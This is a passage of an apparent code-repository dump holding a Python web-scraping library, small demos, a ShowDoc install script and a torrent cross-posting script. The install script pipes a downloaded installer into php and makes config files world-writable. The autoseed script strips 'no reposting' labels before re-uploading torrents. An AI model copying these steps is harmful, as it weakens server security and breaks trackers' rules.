{\"Accept-Encoding\": \"gzip, deflate, sdch\", \"Accept-Language\": \"zh-CN,zh;q=0.8\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\", \"Upgrade-Insecure-Requests\": \"1\", \"DNT\": \"1\"}\r\n            headers[\"Referer\"] = \"/\".join(url.split(\"/\")[:3])\r\n        if cookiestring is not None:\r\n            if headers is None:\r\n                headers = {}\r\n            headers[\"Cookie\"] = cookiestring\r\n        if \"allow_redirects\" not in kwargs:\r\n            kwargs[\"allow_redirects\"] = False\r\n        x = self.s.get(url, headers=headers, proxies=self.proxies, **kwargs)\r\n        if encoding:\r\n            x.encoding = encoding\r\n        if failstring is not None:\r\n            if failstring in x.text:\r\n                raise EasyLogin_ValidateFail(x)\r\n        if result:\r\n                page = x.content.replace(b\"<br>\", b\"\\n\").replace(b\"<BR>\", b\"\\n\")\r\n                if fixfunction is not None:\r\n                    page = fixfunction(page)\r\n                if encoding:\r\n                    self.b = BeautifulSoup(page.decode(encoding,errors='replace'), 'html.parser')\r\n                else:\r\n                    self.b = BeautifulSoup(page, 'html.parser')\r\n        if save:\r\n            with open(self.cookiefile, \"wb\") as fp:\r\n                fp.write(pickle.dumps(self.s.cookies))\r\n        if o:  # if you need object returned\r\n            if cache is not None:\r\n                with open(cache_filepath, \"wb\") as fp:\r\n                    fp.write(pickle.dumps(x))\r\n            return x\r\n        else:\r\n            if cache is not None:\r\n                with open(cache_filepath, \"wb\") as fp:\r\n                    fp.write(x.content)\r\n            return x.text\r\n\r\n    def post(self, url, data, result=True, save=False, headers=None, cache=None, dont_change_cookie=False, **kwargs):\r\n        \"\"\"\r\n        HTTP POST method, submit data to server\r\n        :param url: post target url\r\n        :param data: the data already quoted\r\n        :param result: the page returned save to a.b\r\n        :param save: save cookie to file\r\n        :param headers: override headers to be sent\r\n        :param cache: filename to write cache, if already exists, use cache rather than really get; using cache=True to use md5(url+data) as cache file name\r\n        :param dont_change_cookie: make the cookie unchanged during this function\r\n        :return: the requests object\r\n        \"\"\"\r\n        if cache is True:\r\n            cache = mymd5(url+data)\r\n        if cache:\r\n            cache_filepath = self.cachedir + cache\r\n        if cache is not None and os.path.exists(cache_filepath):\r\n            with open(cache_filepath, \"rb\") as fp:\r\n                obj = pickle.load(fp)\r\n            if result:\r\n                self.b = BeautifulSoup(obj.content.replace(b\"<br>\", b\"\\n\").replace(b\"<BR>\", b\"\\n\"), 'html.parser')\r\n            return obj\r\n        postheaders = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}\r\n        if headers is not None:\r\n            postheaders.update(headers)\r\n        if dont_change_cookie:\r\n            self.stash_cookie()\r\n        x = self.s.post(url, data, headers=postheaders, allow_redirects=False, proxies=self.proxies, **kwargs)\r\n        if dont_change_cookie:\r\n            self.pop_cookie()\r\n        if result:\r\n            page = x.content.replace(b\"<br>\", b\"\\n\").replace(b\"<BR>\", b\"\\n\")\r\n            self.b = BeautifulSoup(page, 'html.parser')\r\n        if save:\r\n            with open(self.cookiefile, \"wb\") as fp:\r\n                fp.write(pickle.dumps(self.s.cookies))\r\n        if cache is not None:\r\n            with open(cache_filepath, \"wb\") as fp:\r\n                fp.write(pickle.dumps(x))\r\n        return x\r\n\r\n    def post_dict(self, url, dict, result=True, save=False, headers=None,cache=None):\r\n        \"\"\"\r\n        like post but using dict to post\r\n        :param url: post target url\r\n        :param dict: the data to be post, in dict form, example: {\"age\":\"19\",\"name\":\"chenyuan\"}\r\n        :param result: the page returned save to a.b\r\n        :param save: save cookie to file\r\n        :param headers: override headers to be sent\r\n        :return: the requests object\r\n        \"\"\"\r\n        if cache is True:\r\n            dict = OrderedDict(sorted(dict.items(), key=lambda t: t[0]))\r\n        data = urlencode(dict)\r\n        return self.post(url, data, result=result, save=save, headers=headers,cache=cache)\r\n\r\n    def post_json(self, url, jsondata, result=False, save=False, headers=None, cache=None, o=False):\r\n        \"\"\"\r\n        add a header for json post\r\n        :return the object\r\n        \"\"\"\r\n        if headers is None:\r\n            headers={}\r\n        headers[\"Content-Type\"]=\"application/json;charset=UTF-8\"\r\n        data=json.dumps(jsondata)\r\n        x=self.post(url, data, result=result, save=save, headers=headers,cache=cache)\r\n        if o:\r\n            return x\r\n        else:\r\n            return x.json()\r\n\r\n    def f(self, name, attrs):\r\n        \"\"\"\r\n        find all tags matches name and attrs\r\n        :param name: Tag name\r\n        :param attrs: dict, exmaple: {\"id\":\"content\"}\r\n        :return: list of str(Tag text)\r\n        \"\"\"\r\n        if self.b is None:\r\n            return []\r\n        return [i.text.replace('\\r', '').replace('\\n', '').replace('\\t', '').replace('  ', '')\r\n                for i in self.b.find_all(name, attrs)]\r\n\r\n    def getlist(self, searchString, elementName=\"a\", searchTarget=\"href\", returnType=None):\r\n        \"\"\"\r\n        get all urls which contain searchString\r\n        Examples:\r\n        get all picture:\r\n            a.getlist(\"\",\"img\",\"src\")\r\n        get all css and js:\r\n            a.getlist(\"css\",\"link\",\"href\")\r\n            a.getlist(\"js\",\"script\",\"src\")\r\n\r\n        :param searchString: keywords to search\r\n        :param elementName: Tag name\r\n        :param searchTarget: \"href\", \"src\", etc...\r\n        :param returnType: \"element\" to return the Tag object, None to return element[searchTarget]\r\n        :return: list\r\n        \"\"\"\r\n        if returnType is None:\r\n            returnType = searchTarget\r\n        if self.b is None:\r\n            return []\r\n        result = []\r\n        for element in self.b.find_all(elementName):\r\n            if searchString in element.get(searchTarget, \"\"):\r\n                result.append(element[returnType] if returnType != \"element\" else element)\r\n        return result\r\n\r\n    getList = getlist\r\n\r\n    def img(self):\r\n        return [i[2:] if i[0:2] == \"//\" else i for i in self.getlist(\"\", \"img\", \"src\")]\r\n\r\n    def css(self):\r\n        return [i[2:] if i[0:2] == \"//\" else i for i in self.getlist(\"css\", \"link\", \"href\")]\r\n\r\n    def js(self):\r\n        return [i[2:] if i[0:2] == \"//\" else i for i in self.getlist(\"js\", \"script\", \"src\")]\r\n\r\n    def VIEWSTATE(self):\r\n        \"\"\"\r\n        Useful when you crack the ASP>NET website\r\n        :return: quoted VIEWSTATE str\r\n        \"\"\"\r\n        if self.b is None:\r\n            return \"\"\r\n        x = self.b.find(\"input\", attrs={\"name\": \"__VIEWSTATE\"})\r\n        if x is None:\r\n            return \"\"\r\n        return quote(x[\"value\"])\r\n\r\n    def save(self, filename=\"EasyLogin.status\"):\r\n        \"\"\"\r\n        save the object to file using pickle\r\n        to avoid RecursionError, not saving self.b\r\n        :param filename:\r\n        :return:\r\n        \"\"\"\r\n        b = self.b\r\n        self.b = None\r\n        data = pickle.dumps(self)\r\n        with open(filename, \"wb\") as fp:\r\n            fp.write(data)\r\n        self.b = b\r\n        return\r\n    \r\n    export = save\r\n    \r\n    @staticmethod\r\n    def load(filename='EasyLogin.status'):\r\n        \"\"\"\r\n        load an object from file\r\n        :param filename: file saved by pickle\r\n        :return: the object\r\n        \"\"\"\r\n        try:\r\n            with open(filename, \"rb\") as fp:\r\n                return pickle.load(fp)\r\n        except:\r\n            return EasyLogin()\r\n    \r\n    _import = load\r\n    \r\n    @staticmethod\r\n    def w(filename, content, method='w', overwrite=False):\r\n        \"\"\"\r\n        just for write more simplely\r\n        :param filename: str\r\n        :param content: str or bytes\r\n        :param method: 'w' or 'wb'\r\n        :param overwrite: boolean\r\n        :return: None\r\n        \"\"\"\r\n        if not overwrite and os.path.exists(filename):\r\n            return\r\n        with open(filename, method) as fp:\r\n            fp.write(content)\r\n\r\n    def text(self, target=None, ignore_pureascii_words=False):\r\n        \"\"\"\r\n        Get all text in HTML, skip script and comment\r\n        :param target: the BeatuifulSoup object, default self.b\r\n        :param ignore_pureascii_words: if set True, only return words that contains Chinese charaters (may be useful for English version website)\r\n        :return: list of str\r\n        \"\"\"\r\n        if target is None:\r\n            target = self.b\r\n        from bs4 import Comment\r\n        from bs4.element import NavigableString,Doctype\r\n        result = []\r\n        for descendant in target.descendants:\r\n            if not isinstance(descendant, NavigableString) \\\r\n                    or isinstance(descendant,Doctype) \\\r\n                    or descendant.parent.name in [\"script\", \"style\"] \\\r\n                    or isinstance(descendant, Comment) \\\r\n                    or \"none\" in descendant.parent.get(\"style\",\"\")\\\r\n                    or \"font-size:0px\" in descendant.parent.get(\"style\",\"\"):\r\n                continue\r\n            data = descendant.strip()\r\n            if len(data) > 0:\r\n                if not ignore_pureascii_words or any([ord(i)>127 for i in data]):\r\n                    if PY2:\r\n                        result.append(data.encode('utf-8'))\r\n                    else:\r\n                        result.append(data)\r\n        return result\r\n\r\n    def find(self, tag, attrs_string, skip=0, text=False):\r\n        \"\"\"\r\n        find more easily with string, return all matched tag\r\n        :param tag: tag name\r\n        :param attrs_string: tag attrs, fully match\r\n        :param skip: skip first tags\r\n        :param text: need text or tag\r\n        :return: array of tag or text\r\n        \"\"\"\r\n        tmp_tag = BeautifulSoup(\"\"\"<%s %s></%s>\"\"\" % (tag, attrs_string, tag), \"html.parser\").find(tag)\r\n\r\n        def mysearch(itag):\r\n            if itag.name != tag:\r\n                return False\r\n            if itag.attrs == tmp_tag.attrs:\r\n                return True\r\n            else:\r\n                return False\r\n        data = self.b.find_all(mysearch)\r\n        for i in range(skip):\r\n            if not len(data):\r\n                break\r\n            del(data[0])\r\n        if text is True:\r\n            text = \" \"\r\n        if text:\r\n            return [text.join(self.text(i)) for i in data]\r\n        else:\r\n            return data\r\n\r\n    def d(self,tag,attrs,all=False):\r\n        \"\"\"\r\n        delete some useless tags\r\n        :param tag: tag name\r\n        :param attrs: tag attrs\r\n        :param all: delete all matches or just the first one\r\n        :return: False when not found any matches\r\n        \"\"\"\r\n        if self.b is None:\r\n            return False\r\n        if all:\r\n            tags = self.b.find_all(tag,attrs=attrs)\r\n        else:\r\n            tags = [self.b.find(tag,attrs=attrs)]\r\n        if len(tags)==0:\r\n            return False\r\n        for tag in tags:\r\n            tag.extract()\r\n        return True\r\n\r\n    @staticmethod\r\n    def safefilename(filename):\r\n        \"\"\"\r\n        convert a string to a safe filename\r\n        :param filename: a string, may be url or name\r\n        :return: special chars replaced with _\r\n        \"\"\"\r\n        for i in \"\\\\/:*?\\\"<>|$\":\r\n            filename=filename.replace(i,\"_\")\r\n        return filename\r\n\r\n    def stash_cookie(self):\r\n        \"\"\"\r\n        stash the cookie status to a stack\r\n        :return: None\r\n        \"\"\"\r\n        try:\r\n            self.cookiestack\r\n        except AttributeError:\r\n            self.cookiestack = []\r\n        self.cookiestack.append(self.s.cookies.copy())\r\n\r\n    def pop_cookie(self):\r\n        \"\"\"\r\n        pop the cookie from the stack\r\n        :return: False when pop from empty stack, else None\r\n        \"\"\"\r\n        if len(self.cookiestack) == 0:\r\n            return False\r\n        self.s.cookies = self.cookiestack.pop()\r\n\r\ndef main():\r\n    # crawl main page of v2ex.com, print hot topics, and return a list of (\"/t/637075\", \"公司让选一本书作为新年礼物，小于 80 元，有什么推荐的吗？\")\r\n    a = EasyLogin()\r\n    page = a.get(\"https://v2ex.com/\")\r\n    TopicsHot = a.b.find(\"div\",{\"id\":\"TopicsHot\"})\r\n    print(\"\\n\".join(a.text(TopicsHot)))\r\n    res = []\r\n    for item in TopicsHot.find_all(\"a\"):\r\n        if not item[\"href\"].startswith(\"/t/\"):\r\n            continue\r\n        res.append((item[\"href\"], item.text))\r\n    return res\r\n\r\nEL = EasyLogin\r\n\r\nif __name__ == '__main__':  # sample code for get ip by \"http://ip.cn\"\r\n    print(main())"
  },
  {
    "path": "code/Javascript/异常.html",
    "content": "<form>\r\n<input id=\"txt\" type=\"text\">\r\n<input id=\"btn\" type=\"button\" onclick=\"demo()\" value=\"ť\">\r\n</form>\r\n<script>\r\nfunction demo(){\r\n    try{\r\n        var e=document.getElementById(\"txt\").value;\r\n        if (e==\"\"){\r\n            throw \"һ쳣 û==\";\r\n        }else if(e==\"123456\"){\r\n            throw \"ڶ쳣 ̫\";\r\n        }\r\n    }catch (err){\r\n        alert(err);\r\n    }\r\n}\r\n</script>"
  },
  {
    "path": "code/MultiThread_Template.py",
    "content": "#coding:utf-8\r\n#Python简单多线程模板,支持Py2,Py3\r\n\r\nimport threading\r\nfrom time import sleep\r\n\r\ntheader = 20\r\n\r\ncounter = 0 \r\ndef work(list):\r\n    global counter\r\n    for i in list:\r\n        counter += 1\r\n        sleep(1)# do something time-costing...\r\n\r\n\r\nworklist = range(1,100)\r\nfor i in range(theader):\r\n    t = threading.Thread(target=work,args=[worklist[i::theader]])\r\n    t.start()\r\n\r\nwhile counter < len(worklist):\r\n    print(\"Finished: \"+str(counter))\r\n    sleep(1)\r\n\r\nprint(\"END\")"
  },
  {
    "path": "code/PHP/ShowDoc.sh",
    "content": "# how to install ShowDoc in centos\r\n\r\nyum install nginx php php-gd php-fpm php-mcrypt php-mbstring php-mysql php-pdo\r\n\r\n\r\ncurl -sS https://getcomposer.org/installer | php\r\nmv composer.phar /usr/local/bin/composer\r\n\r\ncomposer config -g repo.packagist composer https://packagist.phpcomposer.com\r\n\r\ncd /var/www/html/ && composer create-project  showdoc/showdoc\r\n\r\nchmod a+w showdoc/install\r\nchmod a+w showdoc/Sqlite\r\nchmod a+w showdoc/Sqlite/showdoc.db.php\r\nchmod a+w showdoc/Public/Uploads/\r\nchmod a+w showdoc/Application/Runtime\r\nchmod a+w showdoc/server/Application/Runtime\r\nchmod a+w showdoc/Application/Common/Conf/config.php\r\nchmod a+w showdoc/Application/Home/Conf/config.php"
  },
  {
    "path": "code/RVPNKeepAlive.bat",
    "content": "REM ڱ֤WindowsϵrvpnϿ󾡿\r\nREM ű߼ҪдһLoader.batÿ1min(Զ)һαű\r\nREM ߼˳¼ĵԶcurlȡʧԶ\r\nREM rvpnԶܵ´ڴռãԶChrome.exe\r\n\r\ntaskkill /f /im LogoutTimeOut.exe\r\nif \"%errorlevel%\"==\"0\" taskkill /f /im SangforCSClient.exe&ping www.baidu.com&start \"\" \"C:\\Program Files\\Sangfor\\SSL\\SangforCSClient\\SangforCSClient.exe\" /ShortCutAutoLogin&& taskkill /f /im Chrome.exe &ping www.baidu.com\r\ncurl 10.71.45.100 >nul\r\nif \"%errorlevel%\"==\"0\" exit 0\r\ncurl www.cc98.org >nul\r\nif \"%errorlevel%\"==\"0\" exit 0\r\ntaskkill /f /im SangforCSClient.exe\r\nping -n 2 ip.cn\r\nstart \"\" \"C:\\Program Files\\Sangfor\\SSL\\SangforCSClient\\SangforCSClient.exe\" /ShortCutAutoLogin\r\ntaskkill /f /im Chrome.exe"
  },
  {
    "path": "code/SpecialJudge_检查输出行顺序无关的答案.c",
    "content": "/*\r\n * 本代码是评判输出行无关的Special Judge代码，用于OnlineJudge\r\n * 原理为把标准答案写入代码中，先把标准答案和用户答案都qsort排序后再逐行比较\r\n*/\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#define AC 0\r\n#define WA 1\r\n#define ERROR -1\r\n\r\n#define LINES 100 //答案一共有100行\r\n#define LINELEN 15 //建议这个数值略大于每行最长长度\r\nchar truelines[][LINELEN]={/*这里是标准答案，顺序无关，一共LINES行，每行最长LINELEN-1个字符*/}\r\n\r\nint compare(const void* a,const void* b){\r\n\treturn strcmp((const char*)a,(const char*)b);\r\n}\r\n\r\nint spj(FILE *input, FILE *user_output);\r\n\r\nvoid close_file(FILE *f){\r\n    if(f != NULL){\r\n        fclose(f);\r\n    }\r\n}\r\n\r\nint main(int argc, char *args[]){\r\n    FILE *input = NULL, *user_output = NULL;\r\n    int result;\r\n    if(argc != 3){\r\n        printf(\"Usage: spj x.in x.out\\n\");\r\n        return ERROR;\r\n    }\r\n    input = fopen(args[1], \"r\");\r\n    user_output = fopen(args[2], \"r\");\r\n    if(input == NULL || user_output == NULL){\r\n        printf(\"Failed to open output file\\n\");\r\n        close_file(input);\r\n        close_file(user_output);\r\n        return ERROR;\r\n    }\r\n    result = spj(input, user_output);\r\n    printf(\"result: %d\\n\", result);\r\n    close_file(input);\r\n    close_file(user_output);\r\n    return result;\r\n}\r\nint spj(FILE *input, FILE *user_output){\r\n    /*如果用户答案错误，返回WA；否则返回AC*/\r\n\tint i;char *tmp,userlines[LINES][LINELEN];\r\n\tfor(i=0;i<LINES;i++){\r\n\t\ttmp=fgets(userlines[i],LINELEN,user_output);\r\n\t\tuserlines[i][strlen(userlines[i])-1]=0;//fgets会得到\\n，需要删掉\r\n\t}\r\n\tqsort(truelines,LINES,LINELEN,compare);\r\n\tqsort(userlines,LINES,LINELEN,compare);\r\n\tfor(i=0;i<LINES;i++){\r\n\t\t//printf(\"%s,%s\\n\",truelines[i],userlines[i]);\r\n\t\tif(strcmp(truelines[i],userlines[i])!=0) return WA;\r\n\t}\r\n\treturn AC;\r\n}\r\n\r\n"
  },
  {
    "path": "code/Understand_recursion/example1.c",
    "content": "#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#define MAX_LEVEL 55\r\ntypedef  struct  TreeNode  *Tree;\r\nstruct TreeNode {\r\n\tTree Child;\r\n\tchar key;\r\n\tTree Sibling;\r\n};\r\nint Counter[MAX_LEVEL] ;\r\n/* Counter[i] stores the number of leaves on the i-th level.*/\r\n/* The root is on the level 0. */\r\n\r\n\r\nvoid Visit( Tree T, int *level ){\r\n    if(T==NULL){\r\n    \treturn;\r\n\t}else{\r\n    \tprintf(\"%c,\",T->key);\r\n    \t*level+=1;\r\n    \tVisit(T->Child,level+1);\r\n\t    Visit(T->Sibling,level);\r\n\t}\r\n}\r\n\r\nint main(){\r\n\tstruct TreeNode data[20];\r\n\tdata[0].key='A';data[0].Child=data+1;data[0].Sibling=NULL;\r\n\tdata[1].key='B';data[1].Child=data+4;data[1].Sibling=data+2;\r\n\tdata[2].key='C';data[2].Child=data+6;data[2].Sibling=data+3;\r\n\tdata[3].key='D';data[3].Child=data+7;data[3].Sibling=NULL;\r\n\tdata[4].key='E';data[4].Child=data+10;data[4].Sibling=data+5;\r\n\tdata[5].key='F';data[5].Child=NULL;data[5].Sibling=NULL;\r\n\tdata[6].key='G';data[6].Child=NULL;data[6].Sibling=NULL;\r\n\tdata[7].key='H';data[7].Child=data+12;data[7].Sibling=data+8;\r\n\tdata[8].key='I';data[8].Child=NULL;data[8].Sibling=data+9;\r\n\tdata[9].key='J';data[9].Child=NULL;data[9].Sibling=NULL;\r\n\tdata[10].key='K';data[10].Child=NULL;data[10].Sibling=data+11;\r\n\tdata[11].key='L';data[11].Child=NULL;data[11].Sibling=NULL;\r\n\tdata[12].key='M';data[12].Child=NULL;data[12].Sibling=NULL;\r\n\tVisit(data,Counter);\r\n\tprintf(\"\\n\");\r\n\tint i;\r\n\tfor(i=0;i<4;i++){\r\n\t\tprintf(\"%d:%d\\n\",i,Counter[i]);\r\n\t}\r\n}"
  },
  {
    "path": "code/autoseed_byr2nhd.py",
    "content": "from EasyLogin import EasyLogin\r\nimport sys, os, re\r\nfrom PIL import Image\r\nfrom resizeimage import resizeimage\r\nfrom config import byr_cookie, nhd_cookie, byr_proxy, thost, tport, tuser, tpassword\r\nfrom pprint import pprint\r\nimport transmissionrpc\r\nimport base64\r\n\r\ndef img_smaller(filename):\r\n    img = Image.open(open(filename, 'rb'))\r\n    newsize = [img.size[0] * 0.9, img.size[1] * 0.9]\r\n    smallerimg = resizeimage.resize_thumbnail(img, newsize)\r\n    smallerimg.save(filename, smallerimg.format)\r\n\r\ndef downimgs(a, imgs):\r\n    result = []\r\n    for img in imgs:\r\n        filename = img.split(\"/\")[-1]\r\n        if img.startswith(\"//\"):\r\n            img = \"http:\"+img\r\n        if not img.startswith(\"http\"):\r\n            img = \"http://bt.byr.cn/\"+img\r\n        print(img)\r\n        if not os.path.exists(filename):\r\n            data = a.get(img, o=True, result=False).content\r\n            open(filename, \"wb\").write(data)\r\n        while os.stat(filename).st_size>1024*1024:\r\n            print(\"size: \",os.stat(filename).st_size/1024,\"KB\")\r\n            img_smaller(filename)\r\n        result.append(filename)\r\n    return result\r\n\r\ndef upload_imgs_nhd(a_nhd, filenames):\r\n    result = []\r\n    for filename in filenames:\r\n        x=a_nhd.s.post(\"http://www.nexushd.org/attachment.php\", files={\"submit\":\"上传\", \"file\":open(filename,\"rb\")})\r\n        attach = x.text.split(\"[attach]\")[1].split(\"[/attach]\")[0]\r\n        result.append(attach)\r\n    return result\r\nsource_sel_dict = {\"bluray\": \"1\", \"blu-ray\": \"1\", \"hdtv\": \"4\", \"webdl\": \"7\", \"web-dl\": \"7\"}\r\nstandard_sel_dict = {\"1080p\": \"1\", \"1080i\": \"2\", \"720p\": \"3\", \"4K\": \"1\"}\r\ndef get_byr(a, torrentid):\r\n    a.get(\"http://bt.byr.cn/details.php?id={torrentid}&hit=1\".format(torrentid=torrentid),cache=True)\r\n    torrent_filename = a.b.find(\"a\",{\"class\":\"index\"}).text\r\n    name = a.b.find(\"h1\",{\"id\":\"share\"}).text.split(\"\\xa0\")[0]\r\n    subtitle = a.b.find(\"div\",{\"id\":\"subtitle\"}).text\r\n    name_orignal = name\r\n    subtitle_orignal = subtitle\r\n    if name.count(\"][\")==3:\r\n        name = name_orignal.split(\"][\")[1]\r\n        subtitle = name_orignal.split(\"][\")[0].strip(\"[\")+\" \"+name_orignal.split(\"][\")[2]+\" \"+name_orignal.split(\"][\")[3].strip(\"]\") + subtitle\r\n    else:\r\n        name = torrent_filename.replace(\"[BYRBT].\",\"\").replace(\".torrent\",\"\")\r\n        if len(name.split(\".\")[-1])<4:\r\n            name = \".\".join(name.split(\".\")[:-1])\r\n        subtitle = name_orignal.replace(\"[\",\"\").replace(\"]\",\" \").replace(name, \"\") + subtitle\r\n    \r\n    # 来源\r\n    source_sel = \"0\"\r\n    for key, value in source_sel_dict.items():\r\n        if key in name_orignal.lower():\r\n            source_sel = value\r\n            break\r\n    # 分辨率\r\n    standard_sel = \"0\"\r\n    for key, value in standard_sel_dict.items():\r\n        if key in name_orignal.lower():\r\n            standard_sel = value\r\n            break\r\n    infohtml = a.b.find(\"div\",{\"id\":\"kdescr\"})\r\n    infotext = infohtml.text.replace(\"\\xa0\",\"\")\r\n    imdblink_tmp = re.findall(r\"www.imdb.com/title/tt\\d+\", infotext)\r\n    imdblink = \"\"\r\n    if len(imdblink_tmp):\r\n        imdblink = \"http://\" + imdblink_tmp[0] + \"/\"\r\n    doubanlink_tmp = re.findall(r\"movie.douban.com/subject/\\d+\", infotext)\r\n    doubanlink = \"\"\r\n    if len(doubanlink_tmp):\r\n        doubanlink = \"https://\" + doubanlink_tmp[0]\r\n    infoimgs = [i[\"src\"] for i in infohtml.find_all(\"img\")]\r\n    downloadedimgs = downimgs(a, infoimgs)\r\n    try:\r\n        doubantext = \"\\n\".join(a.text(a.b.find(\"p\",text=\"豆瓣信息\").find_next(\"td\"))).replace(\"\\xa9\",\"\").replace(\"\\n，\\n\",\"，\\n\").replace(\"-=更新=-\",\"\")\r\n    except:\r\n        doubantext = \"\"\r\n    return {\"standard_sel\":standard_sel, \"doubanlink\":doubanlink, \"imdblink\": imdblink, \"source_sel\":source_sel, \"torrentid\": torrentid,\"name\":name, \"subtitle\":subtitle, \"descr\": infotext+\"\\n Douban:\"+doubantext, \"type\":\"101\"}, downloadedimgs\r\n\r\ndef download_torrent_byr(a, torrentid, host=\"bt.byr.cn\", short=\"byr\"):\r\n    filename = str(torrentid)+\"_\"+short+\".torrent\"\r\n    if not os.path.exists(filename):\r\n        open(filename,\"wb\").write(a.get(\"http://\"+host+\"/download.php?id={torrentid}\".format(torrentid=torrentid),result=False,o=True).content)\r\n    return filename\r\n\r\ndef download_torrent_nhd(a_nhd, torrentid):\r\n    return download_torrent_byr(a_nhd, torrentid, host=\"www.nexushd.org\", short=\"nhd\")\r\n\r\ndef upload_nhd(a_nhd, filename, torrentid, uploadedimgs, name,subtitle,descr,type, source_sel, imdblink, doubanlink, standard_sel):\r\n    tmpstr = \"\"\r\n    for item in uploadedimgs:\r\n        tmpstr += (\"[attach]\"+item+\"[/attach]\\n\")\r\n    descr = tmpstr+descr\r\n    data = {\r\n         \"name\":name, \r\n         \"small_descr\":subtitle+\" Autoseed请求协助编辑\", \r\n         \"descr\":descr.replace(\"\\r\",\"\\n\").replace(\"\\n\\n\",\"\\n\"), \r\n         \"type\":type,\r\n         \"url\":imdblink,\r\n         \"douban_url\": doubanlink,\r\n         \"source_sel\": source_sel, \r\n         \"codec_sel\": \"1\",\r\n         \"standard_sel\": standard_sel,\r\n    }\r\n    if \"禁止转载\" in data[\"small_descr\"] or \"禁转\" in data[\"small_descr\"]:\r\n        data[\"small_descr\"] = subtitle.replace(\"禁止转载\",\"\").replace(\"禁转\",\"\")\r\n        data[\"uplver\"] = \"yes\"\r\n    data_no_descr = data.copy()\r\n    del(data_no_descr[\"descr\"])\r\n    pprint(data_no_descr)\r\n    input(\"Sure to upload?\")\r\n    x = a_nhd.s.post(\"http://www.nexushd.org/takeupload.php\",files={\"file\":open(filename,\"rb\")},\r\n        data=data)\r\n    #open(\"result.html\",\"wb\").write(x.content)\r\n    id = x.text.split(\"download.php?id=\")[1].split('\"')[0]\r\n    return id\r\n\r\ndef upload_transmission(thost, tport, tuser, tpassword, filename):\r\n    tc = transmissionrpc.Client(thost, port=tport, user=tuser, password=tpassword)\r\n    tc.add_torrent(base64.b64encode(open(filename, \"rb\").read()).decode())\r\n\r\nif __name__ == \"__main__\":\r\n    a = EasyLogin(proxy=byr_proxy,cookiestring=byr_cookie)\r\n    a_nhd = EasyLogin(cookiestring=nhd_cookie) \r\n    \r\n    id = sys.argv[1]\r\n    data, downloadedimgs = get_byr(a, id) # 获取种子信息\r\n    filename = download_torrent_byr(a, id) # 下载种子文件\r\n    uploadedimgs = upload_imgs_nhd(a_nhd, downloadedimgs) # 下载种子简介中的图片\r\n    nhdid = upload_nhd(a_nhd, filename=filename, uploadedimgs=uploadedimgs, **data) # 上传种子到NHD\r\n    filename_nhd = download_torrent_nhd(a_nhd, nhdid) # 下载刚上传的NHD种子\r\n    upload_transmission(thost, tport, tuser, tpassword, filename_nhd) # 传给transmission开始做种"
  },
  {
    "path": "code/ccfbadge.user.js",
    "content": "// ==UserScript==\r\n// @name         ccf badge\r\n// @version      0.2\r\n// @description  Add CCF badge to dblp search result\r\n// @author       zjuchenyuan\r\n// @match        https://dblp.org/*\r\n// @match        https://dblp.uni-trier.de/*\r\n// @grant        none\r\n// ==/UserScript==\r\n\r\nvar ccfdata = {\"journals/tocs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/tos\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/tcad\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/tc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/tpds\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"journals/taco\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/taas\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/todaes\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/tecs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/trets\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/tvlsi\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/jpdc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/jsa\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/parco\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/pe\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"journals/jetc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/concurrency\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/dc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/fgcs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/tcc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/integration\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/et\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/grid\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/mam\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/rts\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/tjs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ppopp\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/fast\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/dac\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/hpca\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/micro\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/sc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/asplos\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/isca\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/usenix\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"A\"], \"conf/cloud\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/spaa\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/podc\": 